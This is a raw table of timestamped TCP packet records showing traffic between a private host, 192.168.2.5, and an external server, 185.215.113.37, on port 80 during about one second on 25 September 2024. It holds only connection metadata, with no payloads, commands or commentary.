Sep 25, 2024 21:52:04.394207954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394229889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394237041 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394263029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394295931 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394295931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394320965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394342899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394468069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394500971 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394522905 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394535065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394546986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394570112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394586086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394603014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394620895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394634962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394650936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394670010 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394690990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394709110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394740105 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394762993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394792080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394824982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394845963 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394882917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394934893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394967079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.394992113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.394999981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395010948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395035028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395051956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395087957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395117044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395148039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395165920 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395203114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395220041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395251989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395271063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395283937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395301104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395318985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395334959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395359993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395376921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395412922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395416021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395448923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395469904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395499945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395656109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395689011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395709991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395721912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395740032 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395756960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395775080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395791054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395809889 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395823956 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395854950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395857096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395879984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395911932 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.395945072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395978928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.395999908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.396011114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.396033049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.396044016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.396056890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.396080971 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.396100044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.396142006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455074072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455120087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455152035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455163956 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455197096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455218077 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455218077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455252886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455276012 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455286026 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455301046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455322027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455341101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455377102 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455513954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455543995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455569029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455579996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455595016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455622911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455665112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455696106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455720901 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455729961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455744982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455781937 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455812931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455845118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455872059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455878019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455892086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455931902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455941916 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.455965996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.455985069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456001043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456022024 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456053019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456074953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456106901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456130028 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456141949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456160069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456181049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456190109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456218004 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456232071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456268072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456269979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456304073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456324100 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456341028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456346989 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456398010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456486940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456520081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456542969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456553936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456564903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456589937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456604958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456641912 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456763983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456795931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456821918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456830025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456842899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456864119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456887960 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456897974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456924915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456933022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456947088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.456968069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.456979036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457006931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457031965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457053900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457236052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457268000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457288980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457300901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457319975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457335949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457357883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457369089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457381964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457401991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457416058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457436085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457462072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457469940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457483053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457504988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457524061 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457537889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457572937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457580090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457602978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457604885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457627058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457638979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457655907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457691908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457756042 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457787991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457812071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457823038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457837105 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457858086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457881927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457891941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457917929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457926035 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.457943916 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457979918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.457992077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.458043098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.458059072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.458093882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.458116055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.458129883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:04.458153963 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.458178043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.823340893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:04.828448057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046544075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046593904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046638966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046652079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046674013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046705008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046705008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046713114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046729088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046750069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046771049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046783924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046814919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046818972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046838999 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046854973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046869993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046905041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046911001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046941996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046958923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.046992064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.046994925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047025919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047044039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047059059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047079086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047113895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047113895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047144890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047168016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047179937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047204018 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047213078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047234058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047245979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047269106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047282934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047308922 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047321081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047333002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047354937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047370911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047404051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047415018 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047441959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047463894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047483921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047508001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047519922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047538042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047555923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047574043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047589064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047614098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047616959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047641039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047653913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047673941 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047687054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047710896 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047722101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047750950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047758102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047791004 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047796965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047817945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047826052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047837973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047859907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047880888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047899008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047928095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047929049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047950983 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047960997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.047975063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.047996044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048008919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048029900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048051119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048063040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048089027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048098087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048118114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048141956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048163891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048182011 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048217058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048249960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048274040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048284054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048316002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048316956 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048335075 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048352003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048377991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048382044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048408031 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048418999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048444986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048453093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048472881 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048484087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048510075 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048518896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048540115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048553944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048576117 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048588037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048599005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048623085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048649073 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048655987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048671961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048690081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048712969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048723936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048749924 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048758984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048779964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048793077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048819065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048825979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048847914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048863888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.048883915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.048921108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049072981 CEST	80	49704	185.215.113.37	192.168.2.5
